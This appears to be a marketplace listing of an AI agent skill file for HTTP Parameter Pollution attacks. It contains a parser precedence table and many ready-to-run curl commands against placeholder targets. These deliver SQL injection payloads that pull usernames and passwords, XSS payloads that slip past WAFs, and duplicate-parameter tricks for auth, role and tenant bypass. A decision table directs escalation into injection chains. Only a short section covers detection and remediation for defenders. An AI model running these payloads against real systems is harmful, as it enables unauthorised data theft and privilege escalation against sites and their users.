Skip to main content

hpp

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
1. Juni 2026 um 23:08
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.565
Forks
1.053

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
hpp
description
HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"HPP, HTTP parameter pollution, duplicate parameters, parameter precedence, WAF bypass via dup params, parser discrepancy, ?a=1&a=2","tags":"hpp, parser-discrepancy, waf-bypass, auth-bypass","mitre_attack":"T1190"}
# HTTP Parameter Pollution (HPP) Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter **differently**. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical. ## 1. Parser precedence table When `?id=1&id=2` (or duplicated body params) is received: | Stack | `request.GET['id']` / equivalent | `getParameterValues` / list view | |---|---|---| | PHP (`$_GET`) | **last** wins (`2`) | `$_GET['id[]']` only; otherwise the dup is dropped | | ASP.NET (`Request.QueryString["id"]`) | **comma-concatenated** (`"1,2"`) | `GetValues` returns both | | ASP Classic | **comma-concatenated** | — | | Java Servlet (`getParameter`) | **first** (`1`) | `getParameterValues` returns both | | Java Spring `@RequestParam String` | **first** | `List<String>` binds both | | Node.js `qs` (Express default) | **array** (`["1","2"]`) | n/a | | Node.js `querystring` (legacy) | **array** | n/a | | Python Flask `request.args.get` | **first** | `getlist` returns both | | Python Django `request.GET['id']` | **last** | `getlist` returns both | | Python `urllib.parse.parse_qs` | **list** (`["1","2"]`) | — | | Ruby on Rails | **last** | `params[:id]` is the last; arrays via `id[]=` | | Go `net/http` `r.URL.Query().Get` | **first** | `["id"]` returns all | | Perl CGI `param("id")` | **first** in scalar, **list** in list context | — | | nginx `$arg_id` | **first** | — | | Apache mod_rewrite `%{QUERY_STRING}` | raw — passes both | — | | AWS API Gateway → Lambda proxy | **last** in `queryStringParameters`, all in `multiValueQueryStringParameters` | — | | Cloudflare WAF | inspects **all** values for rule match (generally) | — | | AWS WAF | inspects each occurrence | — | | ModSecurity (CRS) | inspects each — but anomaly score per rule | — | The exploitable pattern: **WAF/proxy reads value A, app reads value B**. ## 2. Detection ```bash # Baseline curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n' # Duplicate param — same key curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n' cat resp.dup | head -c 300 # Bracket form (PHP arrays) curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n' # Whitespace / separator variants curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ) curl -s "http://<TARGET>/api?id=1&id =2" # space-before-= curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup ``` Reflection check — does the response echo `1`, `2`, `1,2`, or `["1","2"]`? That literally fingerprints the stack. ```bash for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do echo "== $pair ==" curl -s "http://<TARGET>/echo?$pair" echo done ``` ## 3. WAF bypass via duplicate parameters The WAF inspects one occurrence; the app concatenates / picks the other. ```bash # ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat curl -G "http://<TARGET>/search" \ --data-urlencode "q=1" \ --data-urlencode "q=UNION SELECT user,password FROM users--" # PHP last-wins: WAF blocks the obvious payload only if it inspects every value curl -G "http://<TARGET>/search" \ --data-urlencode "q=harmless" \ --data-urlencode "q=<svg/onload=alert(1)>" # Java first-wins, WAF inspects only the LAST occurrence (some appliances do) curl -G "http://<TARGET>/cmd" \ --data-urlencode "host=' OR 1=1--" \ --data-urlencode "host=8.8.8.8" ``` Mixed source confusion — GET vs POST: ```bash # Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection curl -X POST "http://<TARGET>/api?role=user" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'role=admin' ``` ## 4. Server-side HPP — auth / ACL bypass The auth layer evaluates one value; the controller acts on another. ```bash # Pattern: filter reads first, action reads last curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100" # Filter: account==mine → permits. Controller: last wins → operates on victim. # Role check vs role assignment curl -X POST "http://<TARGET>/users/create" \ -d 'role=user&username=x&role=admin' # Tenant scoping curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER" ``` ## 5. Client-side HPP User-supplied parameter is **re-emitted into a link or redirect** without re-encoding `&`. ``` Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read"> Payload: USER_INPUT = http://x.tld?evil=1 Rendered link: /proxy?url=http://x.tld?evil=1&action=read Server sees: url=http://x.tld?evil=1 AND action=read (still benign) Now payload: USER_INPUT = http://x.tld?evil=1&action=delete Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded ``` ```bash # Probe — pass a payload containing & and look for it un-encoded in the response HTML curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head ``` ## 6. Injection delivery ```bash # Split SQLi payload across two values to bypass per-value length / pattern checks curl -G "http://<TARGET>/search" \ --data-urlencode "q=' UNION SELECT 1,2,3--" \ --data-urlencode "q=' UNION SELECT username,password,3 FROM users--" # .NET concatenation → final value contains both fragments joined by "," # Carry an XSS payload past a regex that only checks one occurrence curl -G "http://<TARGET>/view" \ --data-urlencode "name=harmless" \ --data-urlencode "name=<img src=x onerror=alert(1)>" ``` ## 7. Tools - **Burp Param Miner** — finds hidden / undocumented params, reflects, dup-detection. - **HTTPParameterPollution** Burp extension — generates dup-permutations. - **wfuzz / ffuf** — fuzz with `-z list,1-2-1,1` to inject duplicate keys. - **sqlmap** `--param-del=';'` `-p 'q'` `--skip-urlencode` — for separator-style HPP. - Hand-rolled Python: `requests.PreparedRequest` lets you pass a list of tuples to keep order: `[("id","1"),("id","2")]`. ## 8. Detection signatures (defenders) | Signal | Source | |---|---| | Two `id=` (or any key) per request line | access logs, request audit | | WAF rule fired on one occurrence, request still 200 | WAF + app log correlation | | `?key[]=` or `;key=` patterns | nginx / Apache logs | | ASP.NET request that concatenates user input into `"1,2"` and forwards to a backend | app trace | | Differential outcome on `?a=1&a=2` vs `?a=2&a=1` | active monitoring probe | Remediation: canonicalize duplicates **before** auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding `&` and `=`. ## 9. Decision gate | Observation | Action | |---|---| | Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain | | Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity | | Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research | | Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF | ## Cross-references - WAF bypass payload obfuscation: `skills/standard/exploit/web/waf-bypass/SKILL.md` - SQLi chain: `skills/standard/exploit/web/sqli/SKILL.md` - BFLA / IDOR via param shadowing: `skills/standard/exploit/web/bfla/SKILL.md` - HTTP smuggling (related parser-discrepancy class): `skills/standard/exploit/web/smuggling/SKILL.md`
Auf GitHub ansehen